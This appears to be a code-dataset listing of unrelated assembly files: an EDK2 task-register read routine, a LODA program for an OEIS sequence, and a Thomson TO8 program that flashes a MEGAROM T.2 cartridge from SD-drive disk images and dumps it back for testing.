blr
EPILOGUE(mpn_submul_1)
|
MdePkg/Library/BaseLib/Ia32/ReadTr.nasm
|
nicklela/edk2
| 3,861 |
88351
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; ReadTr.Asm
;
; Abstract:
;
; AsmReadTr function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; UINT16
; EFIAPI
; AsmReadTr (
; VOID
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmReadTr)
ASM_PFX(AsmReadTr):
str ax
ret
|
oeis/342/A342371.asm
|
neoneye/loda-programs
| 11 |
163642
|
<filename>oeis/342/A342371.asm
; A342371: Partial sums of A051697.
; Submitted by <NAME>
; 2,4,6,9,12,17,22,29,36,43,54,65,76,89,102,115,132,149,166,185,204,223,246,269,292,315,338,367,396,425,454,485,516,547,578,615,652,689,726,763,804,845,886,929,972,1015,1062,1109,1156,1203,1250,1303,1356,1409
mov $1,$0
mov $3,$0
lpb $3
mov $0,$1
sub $3,1
sub $0,$3
sub $0,2
mul $0,2
add $0,1
max $0,0
seq $0,76973 ; Starting with 2, largest prime divisor of the sum of all previous terms.
add $2,$0
lpe
mov $0,$2
add $0,2
|
Engine/T2/T2Tester.asm
|
wide-dot/thomson-to8-game-engine
| 11 |
82017
|
opt c,ct
********************************************************************************
* T2Loader (TO8 Thomson) - <NAME> 2021
* ------------------------------------------------------------------------------
* Changement disquettes SDDRIVE : <NAME>
* Lib. MEGAROM T.2 : Prehisto
*
* premiere version tres rudimentaire
* lecture de 4 pistes x 16 secteurs pour une page
* 2x64 pistes par disquette = 32 pages chargees
* il faut donc 4 disquettes pour 128 pages
* 16 pistes par face inutiles sur chacune des 4 disquettes
* lecture des pistes de 16 a 79 face 0 puis 16 a 79 face 1
* la piste 0 contient le boot et ce code de chargement
* pour chaque page lecture des secteurs de 1 a 16
* pas d'entrelacement car les donnees sont chargees depuis SDDRIVE
*
* Procedure de test :
* -------------------
* Execution du LoaderT2 pour chargement complet de T.2
* Commutation de chaque page $80-$FF
* Lecture des donnees de la page
* Sauvegarde des donnees sur la sd
********************************************************************************
* ===========================================================================
* TO8 Registers
* ===========================================================================
dk_drive equ $6049
dk_track equ $604A
dk_track_lsb equ $604B
dk_sector equ $604C
dk_write_location equ $604F
dk_source equ $604F
org $6300
lds #$9FFF ; reinit de la pile systeme
lda #2 ; page video
sta $E7E5 ; selection de la page en RAM Donnees (A000-DFFF)
ldx #$0000
jsr ClearDataMem
jsr WaitOffScreen
; Couleur de la progress bar
lda #$02
sta $E7DB * selectionne l'indice de couleur a ecrire
ldd #$0444
stb $E7DA * positionne la nouvelle couleur (Vert et Rouge)
sta $E7DA * positionne la nouvelle couleur (Bleu)
; Couleur du fond de la progress bar
lda #$04
sta $E7DB * selectionne l'indice de couleur a ecrire
ldd #$0008
stb $E7DA * positionne la nouvelle couleur (Vert et Rouge)
sta $E7DA * positionne la nouvelle couleur (Bleu)
jsr InitProgress
lda #$80
sta $E7DD ; affiche la page 2 a l'ecran
lda #4 ; page memoire buffer pour lecture disquette
sta $E7E5 ; selection de la page en RAM Donnees (A000-DFFF)
jsr ENM7 ; rend la MEGAROM T.2 visible
jsr ERASE ; effacement complet de la MEGAROM T.2
lbmi EraseError ; verification complete de la ROM
respawn
jsr WaitOffScreen
; Couleur du fond de la progress bar
lda #$04
sta $E7DB * selectionne l'indice de couleur a ecrire
ldd #$0AAA
stb $E7DA * positionne la nouvelle couleur (Vert et Rouge)
sta $E7DA * positionne la nouvelle couleur (Bleu)
setdp $60
lda #$60
tfr a,dp ; positionne la direct page a 60
jsr BackupDisk
ldd #$0010 ; init positionnement lecture disquette
sta <dk_drive
std <dk_track
ldb #$01
stb <dk_sector ; secteur (1-16)
RL_Continue
ldd #$A000 ; le buffer DKCO est toujours positionne a $A000
std <dk_write_location
lda #$02
sta <$6048 ; DK.OPC $02 Operation - lecture d'un secteur
RL_DKCO
jsr $E82A ; DKCO Appel Moniteur - lecture d'un secteur
inc <dk_sector ; increment du registre Moniteur DK.SEC
lda <dk_sector ; chargement de DK.SEC
cmpa #$10 ; si DK.SEC est inferieur ou egal a 16
bls RL_DKContinue ; on continue le traitement
lda #$01 ; sinon on a depasse le secteur 16
sta <dk_sector ; positionnement du secteur a 1
inc <dk_track_lsb ; increment du registre Moniteur DK.TRK
RL_DKContinue
inc <dk_write_location ; increment de 256 octets de la zone a ecrire DK.BUF
ldx <dk_write_location ; chargement de la zone a ecrire DK.BUF
cmpx #$DF00 ; test debut du dernier bloc de 256 octets a ecrire
bls RL_DKCO ; si DK.BUF inferieur ou egal a la limite alors DKCO
RL_Page
ldb #$01 ; repositionnement pour chargement de la page RAM suivante
stb <dk_sector
lda <dk_track_lsb
cmpa #$50
bne RL_Copy
ldd #$0010
std <dk_track
inc <dk_drive
lda <dk_drive
cmpa #$04
bne RL_Copy
lda #$00
sta <dk_drive
jsr MoveToNextDisk ; on change les deux disquettes par les suivantes
RL_Copy
lda cur_ROMPage ; page destination
ldy #$A000 ; debut donnees a copier en ROM
jsr P16K ; recopie RAM vers ROM
jsr C16K ; verification des donnees copiees
lbne WriteError
lda cur_ROMPage
jsr DisplayProgress
inc cur_ROMPage ; page ROM suivante
lda cur_ROMPage
cmpa #Builder_End_Page
bne RL_Continue
; TEST AND DUMP T2 PAGES TO SD
jsr RestoreDisk
lda #$80
sta cur_ROMPage
jsr InitProgress
jmp WriteROMtoDisk
cur_ROMPage fcb $00
WriteROMtoDisk
ldd #$0010 ; init positionnement lecture disquette
sta <dk_drive
std <dk_track
ldb #$01
stb <dk_sector ; secteur (1-16)
WR_Continue
lda cur_ROMPage
jsr SETPAG
ldd #$0000
std <dk_source
lda #$08
sta <$6048 ; DK.OPC $08 Operation - ecriture d'un secteur
WR_DKCO
jsr $E82A ; DKCO Appel Moniteur - ecriture d'un secteur
inc <dk_sector ; increment du registre Moniteur DK.SEC
lda <dk_sector ; chargement de DK.SEC
cmpa #$10 ; si DK.SEC est inferieur ou egal a 16
bls WR_DKContinue ; on continue le traitement
lda #$01 ; sinon on a depasse le secteur 16
sta <dk_sector ; positionnement du secteur a 1
inc <dk_track_lsb ; increment du registre Moniteur DK.TRK
WR_DKContinue
inc <dk_source ; increment de 256 octets de la zone a ecrire DK.BUF
ldx <dk_source ; chargement de la zone a ecrire DK.BUF
cmpx #$3F00 ; test debut du dernier bloc de 256 octets a lire
bls WR_DKCO ; si DK.BUF inferieur ou egal a la limite alors DKCO
WR_Page
ldb #$01
stb <dk_sector
lda <dk_track_lsb
cmpa #$50
bne WR_Copy
ldd #$0010
std <dk_track
inc <dk_drive
lda <dk_drive
cmpa #$04
bne WR_Copy
lda #$00
sta <dk_drive
jsr MoveToNextDisk ; on change les deux disquettes par les suivantes
WR_Copy lda cur_ROMPage
suba #$80
jsr DisplayProgress
inc cur_ROMPage
lda cur_ROMPage
suba #$80
cmpa #Builder_End_Page
bne WR_Continue
bra RL_END ; on a depasse la page 127 => fin
rts
EraseError
ldd #0
@a jsr T16K
bne EraseError_2
incb
cmpb #$80
lbeq respawn
tfr b,a
bra @a
EraseError_2
jsr WaitOffScreen
lda #$04
sta $E7DB * selectionne l'indice de couleur a ecrire
ldd #$0F0F
stb $E7DA * positionne la nouvelle couleur (Vert et Rouge)
sta $E7DA * positionne la nouvelle couleur (Bleu)
lda #$00
jsr SETPAG * ROM page a 0 pour la voir apres reboot
bra *
WriteError
jsr WaitOffScreen
lda #$02
sta $E7DB * selectionne l'indice de couleur a ecrire
ldd #$0000
stb $E7DA * positionne la nouvelle couleur (Vert et Rouge)
sta $E7DA * positionne la nouvelle couleur (Bleu)
lda #$00
jsr SETPAG * ROM page a 0 pour la voir apres reboot
bra *
RL_END
lda #$00
jsr SETPAG * ROM page a 0 pour la voir apres reboot
jsr WaitOffScreen
lda #$02
sta $E7DB * selectionne l'indice de couleur a ecrire
ldd #$0080
stb $E7DA * positionne la nouvelle couleur (Vert et Rouge)
sta $E7DA * positionne la nouvelle couleur (Bleu)
lda #$04
sta $E7DB * selectionne l'indice de couleur a ecrire
ldd #$0080
stb $E7DA * positionne la nouvelle couleur (Vert et Rouge)
sta $E7DA * positionne la nouvelle couleur (Bleu)
bra *
* ===========================================================================
* Ext. Libraries
* ===========================================================================
;------------------------------
; Changement disquette SDDRIVE
; Modifier le LBA0 pour pointer
; quatre faces de disquettes
; plus loin dans la carte SD
; Type de carte : b7 de $6057
; SD_LB0 : 4 octets en $6051
; Decalage 4*80*16=5120 secteurs
; Secteurs : $1400 (pour SDHC)
; Octets : $280000 (pour SD)
;------------------------------
MoveToNextDisk
TST <$57 ;test type de carte
LBPL MoveToNextDisk_SD ;traitement carte SD
MoveToNextDisk_SDHC
LDD <$53 ;poids faible LBA0
ADDA #$14 ;ajout 5120 secteurs
STD <$53 ;stockage
LDD <$51 ;poids fort LBA0
ADCB #$00 ;ajout retenue
ADCA #$00 ;ajout retenue
STD <$51 ;stockage D
RTS
MoveToNextDisk_SD
LDD <$51 ;poids fort LBA0
ADDD #$0028 ;ajout decalage
STD <$51 ;stockage D
RTS
BackupDisk
LDD <$53
STD RD1+1
LDD <$51
STD RD2+1
RTS
RestoreDisk
RD1
LDD #$0000
STD <$53
RD2
LDD #$0000
STD <$51
RTS
MoveToPrevDisk
TST <$57 ;test type de carte
LBPL MoveToPrevDisk_SD ;traitement carte SD
MoveToPrevDisk_SDHC
LDD <$53 ;poids faible LBA0
SUBA #$14 ;retire 5120 secteurs
STD <$53 ;stockage
LDD <$51 ;poids fort LBA0
SBCB #$00 ;ajout retenue
SBCA #$00 ;ajout retenue
STD <$51 ;stockage D
RTS
MoveToPrevDisk_SD
LDD <$51 ;poids fort LBA0
SUBD #$0028 ;ajout decalage
STD <$51 ;stockage D
RTS
* ERASE
* Effacement complet de la flash
* In : néant
* Out : CC.N=1 si l'opération a échoué
* Mod : néant
ERASE EQU *
PSHS A
LDA #$AA
STA $0555
LDA #$55
STA $02AA
LDA #$80
STA $0555
LDA #$AA
STA $0555
LDA #$55
STA $02AA
LDA #$10
STA $0555
WAITS LDA $0000
EORA $0000
BNE WAITS
LDA $0000
ASLA
ASLA
PULS A,PC
* P16K
* Programme une page sans vérification
* In : A = No. de page
* Y = ptr vers la source en RAM
* Out: néant
* Mod: néant
P16K EQU *
PSHS A
LDA #$02
JSR SETMOD
PULS A
JSR SETPAG
PSHS A,X,Y
LDX #$0000
PROG LDA #$AA
STA $555
LDA #$55
STA $2AA
LDA #$A0
STA $555
LDA ,Y+
STA ,X+
MUL Pour attendre
CMPX #$4000
BLO PROG
LDA #$F0
STA $0555
PULS Y,X,A,PC
* SETMOD
* Sélection du mode de fonctionnement
* In : A = Mode
* Out : néant
* Mod : néant
SETMOD EQU *
PSHS A
LDA #$AA
STA $0555
LDA #$55
STA $02AA
LDA #$B0
STA $0555
PULS A
STA $0556
RTS
* SETPAG
* Sélection de la page entre 0 et 127
* In : A = No. de page
* Out : néant
* Mod : néant
SETPAG EQU *
PSHS A
LDA #$AA
STA $0555
LDA #$55
STA $02AA
LDA #$C0
STA $0555
PULS A
STA $0555
RTS
* ENM7
* Rend la MEMO7 visible sur TO8/8D/9/9+
* In : néant
* Out : néant
* Mod : néant
ENM7 EQU *
PSHS A
LDA $E7C3
ANDA #$FB
STA $E7C3
LDA $E7E6
ANDA #$DF
STA $E7E6
PULS A,PC
* T16K
* Vérifie qu'une page est vide
* In : A = page entre 0 et 127
* Out : A = 0 si la page est vide
* Mod : A
T16K EQU *
PSHS X
JSR SETPAG
LDX #$0000
TST1 LDA ,X+
INCA
BNE TERR
CMPX #$4000
BLO TST1
TERR PULS X,PC
* C16K (Bentoc adaptation du code de préhisto)
* Compare les 16K d'une page avec la RAM
* In : A = page entre 0 et 127
* Y = pointeur vers une zone RAM
* Out : CC.Z = 0 si les donnees sont identiques
* Mod : néant
C16K EQU *
PSHS X,Y,D
JSR SETPAG
LDX #$0000
CMP1 LDD ,X++
CMPD ,Y++
BNE CRTS
CMPX #$4000
BLO CMP1
CRTS PULS D,Y,X,PC
********************************************************************************
* Clear memory in data area
********************************************************************************
ClearDataMem
pshs u,dp
sts ClearDataMem_3+2
lds #$E000
leau ,x
leay ,x
tfr x,d
tfr a,dp
ClearDataMem_2
pshs u,y,x,dp,b,a
pshs u,y,x,dp,b,a
pshs u,y,x,dp,b,a
pshs u,y,x,dp,b,a
pshs u,y,x,dp,b,a
pshs u,y,x,dp,b,a
pshs u,y,x,dp,b,a
pshs u,y,x,dp,b,a
pshs u,y,x,dp,b,a
pshs u,y,x,dp
cmps #$A010
bne ClearDataMem_2
leau ,s
ClearDataMem_3
lds #$0000 ; start of memory should not be written with S as an index because of IRQ
pshu d,x,y ; saving 12 bytes + (2 bytes * _sr calls) inside IRQ routine
pshu d,x,y ; DEPENDENCY on nb of _sr calls inside IRQ routine (here 16 bytes of margin)
pshu d,x
puls dp,u,pc
********************************************************************************
* Display progress bar
* a: value btw 0-127 (start)
********************************************************************************
DisplayProgress
ldb #2 ; page video
stb $E7E5 ; selection de la page en RAM Donnees (A000-DFFF)
ldd end_value
std progress_value
addd #Builder_Progress_Step
std end_value
ldd progress_value
DP_Loop
adda #$40
sta DP_RestoreA+1
ldb #$7F
jsr DRS_XYToAddress
DP_RestoreA ; (dynamic)
lda #$00
lsra
bcs DP_Odd
lda ,x
anda #$0F
ora #$10
bra DP_Continue
DP_Odd
lda ,x
anda #$F0
ora #$01
DP_Continue
sta ,x
lda progress_value
inca
sta progress_value
cmpa end_value
bne DP_Loop
lda #4 ; page video
sta $E7E5 ; selection de la page en RAM Donnees (A000-DFFF)
rts
end_value fdb $0000
********************************************************************************
* Init progress bar
* write all 128 values
********************************************************************************
InitProgress
ldb #2 ; page video
stb $E7E5 ; selection de la page en RAM Donnees (A000-DFFF)
lda #$00
sta progress_value
IP_Loop
adda #$40
sta IP_RestoreA+1
ldb #$7F
jsr DRS_XYToAddress
IP_RestoreA ; (dynamic)
lda #$00
lsra
bcs IP_Odd
lda ,x
anda #$0F
ora #$20
bra IP_Continue
IP_Odd
lda ,x
anda #$F0
ora #$02
IP_Continue
sta ,x
lda progress_value
inca
sta progress_value
bpl IP_Loop
lda #4 ; page de travail
sta $E7E5 ; selection de la page en RAM Donnees (A000-DFFF)
lda #$00
sta progress_value
rts
progress_value fdb $0000
********************************************************************************
* x_pixel and y_pixel coordinate system
* x coordinates:
* - off-screen left 00-2F (0-47)
* - on screen 30-CF (48-207)
* - off-screen right D0-FF (208-255)
*
* y coordinates:
* - off-screen top 00-1B (0-27)
* - on screen 1C-E3 (28-227)
* - off-screen bottom E4-FF (228-255)
********************************************************************************
DRS_XYToAddress
suba #$30
subb #$1C ; TODO same thing as x for negative case
lsra ; x=x/2, sprites moves by 2 pixels on x axis
lsra ; x=x/2, RAMA RAMB enterlace
bcs DRS_XYToAddressRAM2First ; Branch if write must begin in RAM2 first
DRS_XYToAddressRAM1First
sta DRS_dyn1+2
lda #$28 ; 40 bytes per line in RAMA or RAMB
mul
DRS_dyn1
addd #$C000 ; (dynamic)
tfr d,x
rts
DRS_XYToAddressRAM2First
sta DRS_dyn2+2
lda #$28 ; 40 bytes per line in RAMA or RAMB
mul
DRS_dyn2
addd #$A000 ; (dynamic)
tfr d,x
rts
********************************************************************************
* Temporisation permettant d'avoir le faisceau hors ecran
* et de realiser le changement de palette sans artefact
********************************************************************************
WaitOffScreen
Vsync_1
tst $E7E7 * le faisceau n'est pas dans l'ecran utile
bpl Vsync_1 * tant que le bit est a 0 on boucle
Vsync_2
tst $E7E7 * le faisceau est dans l'ecran utile
bmi Vsync_2 * tant que le bit est a 1 on boucle
ldy #0320 * 40 lignes * 8 cycles
Tempo
leay -1,y
bne Tempo * tempo pour etre dans la bordure invisible
* lors du changement de palette
rts
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.